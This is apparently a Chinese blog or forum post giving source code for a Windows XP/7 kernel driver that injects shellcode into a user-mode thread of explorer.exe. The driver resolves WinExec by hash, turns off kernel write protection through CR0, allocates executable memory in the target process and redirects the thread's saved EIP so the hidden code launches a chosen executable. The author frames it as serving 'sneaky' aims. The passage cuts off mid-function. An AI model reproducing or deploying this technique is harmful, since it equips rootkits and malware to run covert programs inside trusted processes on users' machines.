驱动插ring3线程执行代码

 

近日有在写一个小东西
需要在内核态中运行一个WIN32程序
之前提到的插入APC可以满足部分要求
但是一到WIN7 x86平台下就崩溃了
WIN7下只能插入第三方的进程
一插入系统进程就崩溃,但是这样满足不了我们猥琐的想法
- - 后来找到了一段代码 是注入RING3线程的

基本流程就是  查找系统中某个进程 比如explorer.exe
然后遍历线程链表,判断线程是否是RING3的线程,
而且不是被挂起的。(这个无所谓的)。。。
找到符合要求的线程之后在对方进程中申请一段内存来存放我们自己的ShellCode 代码
然后修改线程的_KTRAP_FRAME中的EIP的值,使线程跑起来的时候先运行我们的自己的
代码,运行完了之后跳回到原来的EIP去指定。。。
需要用到两个未公开的函数:ZwSuspendThread,ZwResumeThread
一个是挂起线程来方便我们修改EIP的 一个是恢复线程使它跑起来

再说说在RING0下搜索RING3 API地址的方法
其实就是从_EPROCESS中得到PEB结构
从PEB中的ldr中的InInitializationOrderMoudleList链表中去查找Kernel32.dll的基地址
通常来说WINXP中了链表的第一项就是Kernel32.dll的基地址
而到了win7 它就存在第二项了 win7下第一项是kernelbase.dll的基地址 (这个好像是一个kernel32.dll的壳)
不多说了看代码吧

/***************************************************************************************
 
*
*    模块: InjectRing3 [sys module]
*
*    平台: Windows XP SP2/sp3/ win7 sp1
* 
*    描述:
*           Ring0 注入 Ring3 的一种新方法。
*           挂起ring3线程后,修改其TrapFrame里的eip,再恢复其执行。
*     
*
****************************************************************************************/
 
 
#ifndef _PROCESS_H_
#define _PROCESS_H_
 
#include "ntifs.h"
#include <WINDEF.H>
#include <ntimage.h>
 
 
#define ProcessBasicInformation 0
#define SystemProcessesAndThreadsInformation 5
#define SystemModuleInformation 11 // SYSTEMINFOCLASS
 
#define WINDOWS_VERSION_NONE        0
#define WINDOWS_VERSION_2K          1
#define WINDOWS_VERSION_XP          2
#define WINDOWS_VERSION_2K3         3
#define WINDOWS_VERSION_2K3_SP1       4
#define WINDOWS_VERSION_VISTA       5
#define WINDOWS_VERSION_WIN7        6
 
 
 
 
//线程链表偏移地址
#define BASE_PROCESS_PEB_OFFSET_2K                0//NT5.0.2195.7133
#define BASE_PROCESS_PEB_OFFSET_XP                0x01B0//NT5.1.2600.3093
#define BASE_PROCESS_PEB_OFFSET_2K3               0//nt5.2.3790.0
#define BASE_PROCESS_PEB_OFFSET_2K3_SP1             0//nt5.2.3790.1830
#define BASE_PROCESS_PEB_OFFSET_VISTA             0
#define BASE_PROCESS_PEB_OFFSET_WIN7              0x01a8 //win7
 
#define BASE_PROCESS_NAME_OFFSET_2K               0x01FC//NT5.0.2195.7133
#define BASE_PROCESS_NAME_OFFSET_XP               0x0174//NT5.1.2600.3093
#define BASE_PROCESS_NAME_OFFSET_2K3              0x0154//nt5.2.3790.0
#define BASE_PROCESS_NAME_OFFSET_2K3_SP1            0x0164//nt5.2.3790.1830
#define BASE_PROCESS_NAME_OFFSET_VISTA              0x014c
#define BASE_PROCESS_NAME_OFFSET_WIN7             0x016c  //win7
 
#define BASE_PROCESS_FLINK_OFFSET_2K              0//NT5.0.2195.7133
#define BASE_PROCESS_FLINK_OFFSET_XP              0x0088//NT5.1.2600.3093
#define BASE_PROCESS_FLINK_OFFSET_2K3             0//NT5.2.3790.0
#define BASE_PROCESS_FLINK_OFFSET_2K3_SP1           0//nt5.2.3790.1830
#define BASE_PROCESS_FLINK_OFFSET_VISTA             0
#define BASE_PROCESS_FLINK_OFFSET_WIN7              0x00b8//win7
 
//ThreadListEntry偏移
#define BASE_KTHREAD_LIST_OFFSET_2K               0
#define BASE_KTHREAD_LIST_OFFSET_XP               0x22c
#define BASE_KTHREAD_LIST_OFFSET_2K3              0
#define BASE_KTHREAD_LIST_OFFSET_2K3_SP1            0
#define BASE_KTHREAD_LIST_OFFSET_WIN7             0x268
 
#define BASE_KTHREAD_SuspendCount_OFFSET_2K           0
#define BASE_KTHREAD_SuspendCount_OFFSET_XP           0x1b9
#define BASE_KTHREAD_SuspendCount_OFFSET_2K3          0
#define BASE_KTHREAD_SuspendCount_OFFSET_2K3_SP1        0
#define BASE_KTHREAD_SuspendCount_OFFSET_WIN7         0x188//win7
 
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K         0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_XP         0x248
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3        0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3_SP1      0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7       0x280
 
//KTHREAD中的Cid偏移
#define BASE_KTHREAD_Cid_OFFSET_XP                0x1ec
#define BASE_KTHREAD_Cid_OFFSET_WIN7              0x22c
 
//KTHREAD中的TrapFrame_偏移
#define BASE_KTHREAD_TrapFrame_OFFSET_XP            0x134
#define BASE_KTHREAD_TrapFrame_OFFSET_WIN7            0x128
 
//_EPROCESS中的ThreadListHead偏移
#define BASE_PROCESS_ThreadListHead_OFFSET_XP         0x190
#define BASE_PROCESS_ThreadListHead_OFFSET_WIN7         0x188
 
//_EPROCESS中的Pid偏移
#define BASE_PROCESS_Pid_OFFSET_XP                0x84 
#define BASE_PROCESS_Pid_OFFSET_WIN7              0xb4 
 
 
//_EPROCESS偏移汇总
typedef struct _EPROCESS_OFFSET
{
  WORD    wOffsetPeb;
  WORD    wOffsetName;
  WORD    wOffsetFlink;
  WORD    wOffsetResv;
  WORD  wOffsetThreadListHead;
  WORD  wOffsetPid;
}EPROCESS_OFFSET, *PEPROCESS_OFFSET, *LPEPROCESS_OFFSET;
 
//_KTHREAD偏移汇总
typedef struct _KTHREAD_OFFSET
{
  WORD    wOffsetThreadListEntry;
  WORD    wOffsetSuspendCount;
  WORD    wOffsetCrossThreadFlags;
  WORD  wOffsetCid;
  WORD  wOffsetTrapFrame;
}KTHREAD_OFFSET, *PKTHREAD_OFFSET, *LPKTHREAD_OFFSET;
 
//和关机操作又关的一些东西
//这里是Hook NtUserCallOneParam和Hook NtUserCallNoParam的东西
typedef struct _SHUTDOWN_PARAM 
{
  WORD WinVer; //Windows版本
  LONG uRoutine;//关机的参数
  PEPROCESS Explorer_PE;//explorer.exe的_EPROCESS
}SHUTDOWN_PARAM ,*PSHUTDOWN_PARAM ;
SHUTDOWN_PARAM shutdown_param;
 
typedef struct ServiceDescriptorEntry {
  unsigned int *ServiceTableBase;
  unsigned int *ServiceCounterTableBase; //Used only in checked build
  unsigned int NumberOfServices;
  unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;;//SSDT
PServiceDescriptorTableEntry  ShadowKeServiceDescriptorTable;//ShadowSSDT
 
 
//global
EPROCESS_OFFSET g_EProcessOffset;
KTHREAD_OFFSET  g_KThreadOffset;
ULONG     g_WinExec;
 
 
 
#define SEC_IMAGE 0x1000000
 
typedef struct _SECTION_IMAGE_INFORMATION
{
  PULONG TransferAddress;
  ULONG ZeroBits;
  ULONG MaximumStackSize;
  ULONG CommittedStackSize;
  ULONG SubSysmtemType;
  USHORT SubSystemMinorVersion;
  USHORT SubSystemMajorVersion;
  ULONG GpValue;
  USHORT Imagecharacteristics;
  USHORT DllCharacteristics;
  USHORT Machine;
  UCHAR  ImageContainsCode;
  UCHAR  Spare1;
  ULONG LoaderFlags;
  ULONG ImageFileSize;
  ULONG Reserved;
}SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;
 
typedef struct _X86_KTRAP_FRAME {
  ULONG   DbgEbp;
  ULONG   DbgEip;
  ULONG   DbgArgMark;
  ULONG   DbgArgPointer;
  ULONG   TempSegCs;
  ULONG   TempEsp;
  ULONG   Dr0;
  ULONG   Dr1;
  ULONG   Dr2;
  ULONG   Dr3;
  ULONG   Dr6;
  ULONG   Dr7;
  ULONG   SegGs;
  ULONG   SegEs;
  ULONG   SegDs;
  ULONG   Edx;
  ULONG   Ecx;
  ULONG   Eax;
  ULONG   PreviousPreviousMode;
  ULONG   ExceptionList;
  ULONG   SegFs;
  ULONG   Edi;
  ULONG   Esi;
  ULONG   Ebx;
  ULONG   Ebp;
  ULONG   ErrCode;
  ULONG   Eip;
  ULONG   SegCs;
  ULONG   EFlags;
  ULONG   HardwareEsp;
  ULONG   HardwareSegSs;
  ULONG   V86Es;
  ULONG   V86Ds;
  ULONG   V86Fs;
  ULONG   V86Gs;
} X86_KTRAP_FRAME, *PX86_KTRAP_FRAME;
 
typedef struct _MODULE_ENTRY {
  LIST_ENTRY le_mod;
  ULONG  unknown[4];
  ULONG  base;
  ULONG  driver_start;
  ULONG  unk1;
  UNICODE_STRING driver_Path;
  UNICODE_STRING driver_Name;
  //.......
} MODULE_ENTRY, *PMODULE_ENTRY;
 
 
typedef
NTSTATUS
(__stdcall *
 pfnZwSuspendThread)(
 IN HANDLE ThreadHandle,
 OUT PULONG PreviousSuspendCount OPTIONAL
 );
 
pfnZwSuspendThread KeSuspendThread = NULL;
pfnZwSuspendThread KeResumeThread = NULL;
 
 
 
 
 
VOID WPOFF()
{
  __asm
  {
    cli
      mov eax, cr0
      and eax, ~10000h
      mov cr0, eax
  }
}
 
VOID WPON()
{
  __asm
  {
    mov eax, cr0
      or eax, 10000h
      mov cr0, eax
      sti
  }
}
 
 
 
 
/************************************************************************/
/*        win7下搜索kernel32.dll中的 WinExec地址
*/
/************************************************************************/
ULONG
SearchApiWin7(WORD api_hash)
/*
*    在kern32.dll中搜索指定API地址
*    Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14
*/
{
  //搜索k32dll的API地址
  PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
  PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink);
  PLIST_ENTRY pTempList = pCurrentList;
  PEPROCESS pEProcess = NULL;
 
  do {
    PPEB peb = NULL;
    PUCHAR lpname = NULL;
 
    pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink);
    peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb));
    lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName;
 
 
    KdPrint(("process %s\n", lpname));
 
    if ((peb != NULL)
      && (_strnicmp(lpname, "explorer.exe", 8) == 0))    //不区分大小写
    {
      ULONG api_addr = 0;
 
      shutdown_param.Explorer_PE = pEProcess; //记录explorer进程指针
      KeAttachProcess((PKPROCESS)pEProcess);//附加进程
 
 
      _asm
      {
        mov eax, peb;
        mov eax, [eax+0x0c];//ldr
        mov esi, [eax+0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct
        mov esi,[esi]//win7要加这一句
        lodsd;                //eax = [esi];
        mov ebx, [eax+0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY
 
        //now get pe image infos to find LoadLibrary and GetProcAddress API
        //assert ebx is the pe image base!!!
 
        mov ax, api_hash;        //Hash(LoadLibraryA) = 0xae14
        //Hash(WinExec) = 0x72dc
        //call search_api;
        //mov [ebp-4], eax;    //this is LoadLibraryA API
 
        //------------------------------------------------------------------------------
        //ebx-PE Image Base,eax-hash of api name, return eax!!!
        //------------------------------------------------------------------------------
        //search_api:
        mov edx, eax;
        mov eax, [ebx+0x3c];        //File address of the new exe header
        mov eax, [eax+ebx+0x78];    //pe base ->data directory[16]
        add eax, ebx;                //get directory[0] Address ->export table ->eax
        mov esi, [eax+0x20];        //get export funs names rva
        add esi, ebx;                //esi->export names table address
        //mov ecx, [eax+0x18];        //get export funs numbers
 
        xor ecx, ecx;
        //search funs name tables
next_api:
 
        mov edi, [esi+ecx*4];        //
        add edi, ebx;
 
        //-----------------------------------
        //计算[edi]字符串的hash值
        //-----------------------------------
        pushad;
        xor eax, eax;
cacul_next:
        shl eax, 2;
        movzx ecx, byte ptr[edi];
        add ax, cx;
        inc edi;
        inc ecx;
        loop cacul_next;
        //test edx!!!
        cmp ax, dx;
        jz search_end;
 
        popad;
        inc ecx;
        jmp next_api;
 
search_end:
        popad;
        //ecx is the GetProcAdress index
        mov eax, [eax+0x1c];
        add eax, ebx;
        mov eax, [eax+4*ecx];
        add eax, ebx;
        mov api_addr, eax;
        //ret;
      }
      KdPrint(("%08x\n", api_addr));
 
      KeDetachProcess();
      return api_addr;
    }
    pTempList = pTempList->Flink;
  } while(pCurrentList != pTempList);
  return 0;
}
 
/************************************************************************/
/*        winxp下搜索kernel32.dll中的 WinExec地址
*/
/************************************************************************/
ULONG
SearchApiXp(WORD api_hash)
/*
*    在kern32.dll中搜索指定API地址
*    Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14
*/
{
  //搜索k32dll的API地址
  PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
  PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink);
  PLIST_ENTRY pTempList = pCurrentList;
  PEPROCESS pEProcess = NULL;
 
  do
  {
    PPEB peb = NULL;
    PUCHAR lpname = NULL;
 
    pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink);
    peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb));
    lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName;
 
 
    KdPrint(("process %s\n", lpname));
 
    if ((peb != NULL)
      && (_strnicmp(lpname, "explorer.exe", 8) == 0))    //不区分大小写
    {
      ULONG api_addr = 0;
 
      //g_EProcessWinlogon = pEProcess;    //记录winlogon进程指针
      shutdown_param.Explorer_PE = pEProcess;
      KeAttachProcess((PKPROCESS)pEProcess);
 
 
      _asm
      {
        mov eax, peb;
        mov eax, [eax+0x0c];//ldr
        mov esi, [eax+0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct
        lodsd;                //eax = [esi];
        mov ebx, [eax+0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY
 
        //now get pe image infos to find LoadLibrary and GetProcAddress API
        //assert ebx is the pe image base!!!
 
        mov ax, api_hash;        //Hash(LoadLibraryA) = 0xae14
        //Hash(WinExec) = 0x72dc
        //call search_api;
        //mov [ebp-4], eax;    //this is LoadLibraryA API
 
        //------------------------------------------------------------------------------
        //ebx-PE Image Base,eax-hash of api name, return eax!!!
        //------------------------------------------------------------------------------
        //search_api:
        mov edx, eax;
        mov eax, [ebx+0x3c];        //File address of the new exe header
        mov eax, [eax+ebx+0x78];    //pe base ->data directory[16]
        add eax, ebx;                //get directory[0] Address ->export table ->eax
        mov esi, [eax+0x20];        //get export funs names rva
        add esi, ebx;                //esi->export names table address
        //mov ecx, [eax+0x18];        //get export funs numbers
 
        xor ecx, ecx;
        //search funs name tables
next_api:
 
        mov edi, [esi+ecx*4];        //
        add edi, ebx;
 
        //-----------------------------------
        //计算[edi]字符串的hash值
        //-----------------------------------
        pushad;
        xor eax, eax;
cacul_next:
        shl eax, 2;
        movzx ecx, byte ptr[edi];
        add ax, cx;
        inc edi;
        inc ecx;
        loop cacul_next;
        //test edx!!!
        cmp ax, dx;
        jz search_end;
 
        popad;
        inc ecx;
        jmp next_api;
 
search_end:
        popad;
        //ecx is the GetProcAdress index
        mov eax, [eax+0x1c];
        add eax, ebx;
        mov eax, [eax+4*ecx];
        add eax, ebx;
        mov api_addr, eax;
        //ret;
      }
      KdPrint(("%08x\n", api_addr));
 
      KeDetachProcess();
      return api_addr;
    }
    pTempList = pTempList->Flink;
  } while(pCurrentList != pTempList);
  return 0;
}
 
 
/************************************************************************/
/*          获取WINDOWS版本
          通过ImageName偏移来判断
*/
/************************************************************************/
 
WORD GetWindowsVersion()
{
    PEPROCESS pSystemProcess = PsGetCurrentProcess();
    WORD offset;
    for (offset=0; offset < PAGE_SIZE; offset++)
    {
        if(strncmp("System", (PCHAR)pSystemProcess + offset, 6) == 0)
        {
            g_EProcessOffset.wOffsetName = offset;
            KdPrint(("%08x", offset));
            switch (offset)
            {
            case BASE_PROCESS_NAME_OFFSET_2K:
                KdPrint(("WINDOWS_VERSION_2K\n"));
                return WINDOWS_VERSION_2K;
                break;
            case BASE_PROCESS_NAME_OFFSET_XP:
                KdPrint(("WINDOWS_VERSION_XP\n"));
                return WINDOWS_VERSION_XP;
                break;
            case BASE_PROCESS_NAME_OFFSET_2K3:
                KdPrint(("WINDOWS_VERSION_2K3\n"));
                return WINDOWS_VERSION_2K3;
                break;
            case BASE_PROCESS_NAME_OFFSET_2K3_SP1:
                KdPrint(("WINDOWS_VERSION_2K3_SP1\n"));
                return WINDOWS_VERSION_2K3_SP1;
                break;
            case BASE_PROCESS_NAME_OFFSET_VISTA:
                KdPrint(("WINDOWS_VERSION_VISTA\n"));
                return WINDOWS_VERSION_VISTA;
                break;
      case BASE_PROCESS_NAME_OFFSET_WIN7:
        KdPrint(("WINDOWS_VERSION_WIN7\n"));
        return WINDOWS_VERSION_WIN7;
        break;
            default:
                return WINDOWS_VERSION_NONE;
            }
        }
    }
    return WINDOWS_VERSION_NONE;
}
 
 
/************************************************************************/
/*            根据WINDOWS平台
      初始化一些偏移,根据偏移得到Win32 API的地址(WinExec)
      这里只对WINXP 和 WIN7进行了处理
*/
/************************************************************************/
BOOLEAN InitEProcessInfo()
{
  switch (GetWindowsVersion())
  {
  case WINDOWS_VERSION_2K:
    g_EProcessOffset.wOffsetPeb         = BASE_PROCESS_PEB_OFFSET_2K;
    g_EProcessOffset.wOffsetFlink       = BASE_PROCESS_FLINK_OFFSET_2K;
 
    g_KThreadOffset.wOffsetThreadListEntry    = BASE_KTHREAD_LIST_OFFSET_2K;
//    g_KThreadOffset.wOffsetAlertable      = BASE_KTHREAD_ALERTABLE_OFFSET_2K;
//    g_KThreadOffset.wOffsetApcState       = BASE_KTHREAD_APCSTATE_OFFSET_2K;
    break;
  case WINDOWS_VERSION_XP:
    g_EProcessOffset.wOffsetPeb         = BASE_PROCESS_PEB_OFFSET_XP;
    g_EProcessOffset.wOffsetFlink       = BASE_PROCESS_FLINK_OFFSET_XP;
    g_EProcessOffset.wOffsetThreadListHead    = BASE_PROCESS_ThreadListHead_OFFSET_XP;
    g_EProcessOffset.wOffsetName        = BASE_PROCESS_NAME_OFFSET_XP;
    g_EProcessOffset.wOffsetPid         = BASE_PROCESS_Pid_OFFSET_XP;
 
    g_KThreadOffset.wOffsetThreadListEntry    = BASE_KTHREAD_LIST_OFFSET_XP;
    g_KThreadOffset.wOffsetSuspendCount     = BASE_KTHREAD_SuspendCount_OFFSET_XP;
    g_KThreadOffset.wOffsetCrossThreadFlags   = BASE_KTHREAD_CrossThreadFlags_OFFSET_XP;
    g_KThreadOffset.wOffsetCid          = BASE_KTHREAD_Cid_OFFSET_XP;
    g_KThreadOffset.wOffsetTrapFrame      = BASE_KTHREAD_TrapFrame_OFFSET_XP;
 
    shutdown_param.uRoutine           = 0x34;
    shutdown_param.WinVer           = WINDOWS_VERSION_XP;
    //搜索API
    __try
    {
      g_WinExec = SearchApiXp(0x72dc);
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
      return FALSE;
    }
    break;
  case WINDOWS_VERSION_2K3:
    g_EProcessOffset.wOffsetPeb         = BASE_PROCESS_PEB_OFFSET_2K3;
    g_EProcessOffset.wOffsetFlink       = BASE_PROCESS_FLINK_OFFSET_2K3;
 
    g_KThreadOffset.wOffsetThreadListEntry    = BASE_KTHREAD_LIST_OFFSET_2K3;
//    g_KThreadOffset.wOffsetAlertable      = BASE_KTHREAD_ALERTABLE_OFFSET_2K3;
//    g_KThreadOffset.wOffsetApcState       = BASE_KTHREAD_APCSTATE_OFFSET_2K3;
    break;
  case WINDOWS_VERSION_2K3_SP1:
    g_EProcessOffset.wOffsetPeb         = BASE_PROCESS_PEB_OFFSET_2K3_SP1;
    g_EProcessOffset.wOffsetFlink       = BASE_PROCESS_FLINK_OFFSET_2K3_SP1;
 
    g_KThreadOffset.wOffsetThreadListEntry    = BASE_KTHREAD_LIST_OFFSET_2K3_SP1;
//    g_KThreadOffset.wOffsetAlertable      = BASE_KTHREAD_ALERTABLE_OFFSET_2K3_SP1;
//    g_KThreadOffset.wOffsetApcState       = BASE_KTHREAD_APCSTATE_OFFSET_2K3_SP1;
    break;
  case WINDOWS_VERSION_WIN7:
    g_EProcessOffset.wOffsetPeb         = BASE_PROCESS_PEB_OFFSET_WIN7;
    g_EProcessOffset.wOffsetFlink       = BASE_PROCESS_FLINK_OFFSET_WIN7;
    g_EProcessOffset.wOffsetThreadListHead    = BASE_PROCESS_ThreadListHead_OFFSET_WIN7;
    g_EProcessOffset.wOffsetName        = BASE_PROCESS_NAME_OFFSET_WIN7;
    g_EProcessOffset.wOffsetPid         = BASE_PROCESS_Pid_OFFSET_WIN7;
 
    g_KThreadOffset.wOffsetThreadListEntry    = BASE_KTHREAD_LIST_OFFSET_WIN7;
    g_KThreadOffset.wOffsetSuspendCount     = BASE_KTHREAD_SuspendCount_OFFSET_WIN7;
    g_KThreadOffset.wOffsetCrossThreadFlags   = BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7;
    g_KThreadOffset.wOffsetCid          = BASE_KTHREAD_Cid_OFFSET_WIN7;
    g_KThreadOffset.wOffsetTrapFrame      = BASE_KTHREAD_TrapFrame_OFFSET_WIN7;
 
    shutdown_param.uRoutine           = 0x10;
    shutdown_param.WinVer           = WINDOWS_VERSION_WIN7;
    //搜索API
    __try
    {
      g_WinExec = SearchApiWin7(0x72dc);
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
      return FALSE;
    }
    break;
  default:
    KdPrint(("OS not support!\n"));
    return TRUE;
  }
  return TRUE;
}
 
 
/************************************************************************/
/*          获取SSDT服务函数索引号
*/
/************************************************************************/
DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName) 
{
  HANDLE hThread, hSection, hFile, hMod;
  SECTION_IMAGE_INFORMATION sii;
  IMAGE_DOS_HEADER* dosheader;
  IMAGE_OPTIONAL_HEADER* opthdr;
  IMAGE_EXPORT_DIRECTORY* pExportTable;
  DWORD* arrayOfFunctionAddresses;
  DWORD* arrayOfFunctionNames;
  WORD* arrayOfFunctionOrdinals;
  DWORD functionOrdinal;
  DWORD Base, x, functionAddress;
  char* functionName;
  STRING ntFunctionName, ntFunctionNameSearch;
  PVOID BaseAddress = NULL;
  SIZE_T size=0;
 
  OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};
 
  IO_STATUS_BLOCK iosb;
 
  //_asm int 3;
  ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
 
  oa.ObjectName = 0;
 
  ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
 
  ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE); 
 
  ZwClose(hFile);
 
  //BaseAddress = GetModlueBaseAdress("ntoskrnl.exe");
 
  hMod = BaseAddress;
 
  dosheader = (IMAGE_DOS_HEADER *)hMod;
 
  opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);
 
  pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);
 
  // now we can get the exported functions, but note we convert from RVA to address
  arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);
 
  arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);
 
  arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);
 
  Base = pExportTable->Base;
 
  RtlInitString(&ntFunctionNameSearch, lpFunctionName);
 
  for(x = 0; x < pExportTable->NumberOfFunctions; x++)
  {
    functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);
 
    RtlInitString(&ntFunctionName, functionName);
 
    functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; // always need to add base, -1 as array counts from 0
    // this is the funny bit.  you would expect the function pointer to simply be arrayOfFunctionAddresses[x]...
    // oh no... thats too simple.  it is actually arrayOfFunctionAddresses[functionOrdinal]!!
    functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
    if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0) 
    {
      //ZwClose(hSection);
      return functionAddress;
    }
  }
 
  //ZwClose(hSection);
  return 0;
}
 
/************************************************************************/
/*          获取SSDT函数的地址
*/
/************************************************************************/
 
PVOID GetSSDTApi(PCHAR ApiName)
{
  UNICODE_STRING dllName;
  DWORD functionAddress;
  int    position;
 
  RtlInitUnicodeString(&dllName, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
  __try
  {
    functionAddress = GetDllFunctionAddress(ApiName, &dllName);
  }
  __except(EXCEPTION_EXECUTE_HANDLER)
  {
 
  }
 
  position = *((WORD*)(functionAddress+1));
 
  return (PVOID)*( (PULONG)(KeServiceDescriptorTable->ServiceTableBase) + position );
}
 

//
//  被注入到ring3进程的代码
//

 
// 2F1D159C >    50            push eax                                 
// 2F1D159D      B8 FDE51E76   mov eax,0x761EE5FD WinExec
// 2F1D15A2      6A 01         push 0x1
// 2F1D15A4      68 FFFFFF7F   push 0x7FFFFFFF //C:\\1.exe
// 2F1D15A9      FFD0          call eax       // call WinExec                       
// 2F1D15AB      58            pop eax                                  
 
/************************************************************************/
/*            ShellCode
            call WinExec 
*/
/************************************************************************/
_declspec (naked) void ShellCode() {
  _asm {
    push eax
      // WinExec
      mov eax,0x761ee5fd    //B8 4D 11 86 7C
      push 1                //6A 01
      push 0x7fffffff        //68 FF FF FF 7F
      call eax            //FF D0
      pop eax
      // jmp ds:12345678H, 绝对地址跳转
      _emit 0xEA
      _emit 0x78
      _emit 0x56
      _emit 0x34
      _emit 0x12
      _emit 0x1B //段选择子
      _emit 0x00
 
      //运行的路径 40个字节
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
      _emit 0x00
  }
}
 
 
///
//
//  查找ZwSuspendThread和ZwResumeThread
//
///
ULONG FindFunc()
{
  KeSuspendThread = (pfnZwSuspendThread)GetSSDTApi("ZwSuspendThread");
  KeResumeThread = (pfnZwSuspendThread)GetSSDTApi("ZwResumeThread");
  if ( KeSuspendThread &&
    KeResumeThread)
    return TRUE;
  return FALSE;
 
}
 
///
//
//  注入ShellCode到线程,分配内存来拷贝ShellCode
//
///
VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess) {
  ULONG i;
  PX86_KTRAP_FRAME pTrapFrame;
  PCLIENT_ID  pCid;
  OBJECT_ATTRIBUTES oa;
  HANDLE hProcess;
  NTSTATUS ntstatus;
  PVOID lpTargetPath = NULL;
  char *path ;
  ULONG pathAddr;
  DbgPrint("Inject Start\n");
 
  // 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常
  __try {
    KeSuspendThread(pThread, NULL);
  }
  __except(1) {
    return;
  }
 
  // PTrapFrame中就是该线程的各个寄存器的值
  pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + g_KThreadOffset.wOffsetTrapFrame);
 
  // 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回
  for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) {
    if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){
      if ( *(PULONG)i == 0x12345678 ) 
      {
        DbgPrint("find modify point\n");
        WPOFF();
        *(PULONG)i = pTrapFrame->Eip;
        WPON();
        break;
      }
    }
  }
 
  WPOFF();
  lpTargetPath = (PVOID)((ULONG)ShellCode + 24);
  memcpy((PUCHAR)(ULONG)ShellCode + 2, &g_WinExec, 4);            //填写winexec地址
  memset(lpTargetPath, 0, 40);                                //
  WPON();
 
  // 下面的代码是分配空间来放置ShellCode
  // 调用一些相应函数来实现更好,我比较懒,就硬编码了
  InitializeObjectAttributes(&oa,0,0,0,0);
  pCid = (CLIENT_ID*)((ULONG)pThread + /*0x1ec*/g_KThreadOffset.wOffsetCid);    // Cid  XP SP2
  ntstatus = ZwOpenProcess( 
    &hProcess, 
    PROCESS_ALL_ACCESS, 
    &oa, 
    pCid 
    );
  if ( NT_SUCCESS(ntstatus) ) 
  {
    PVOID pBuff = NULL;
    SIZE_T size = 0x64;
    ntstatus = ZwAllocateVirtualMemory(
      hProcess, 
      &pBuff, 
      0, 
      &size, 
      MEM_RESERVE | MEM_COMMIT,
      PAGE_EXECUTE_READWRITE
      );
    if( NT_SUCCESS(ntstatus) ) 
    {
      KAPC_STATE kapc;
      // 拷贝ShellCode到目标进程中去
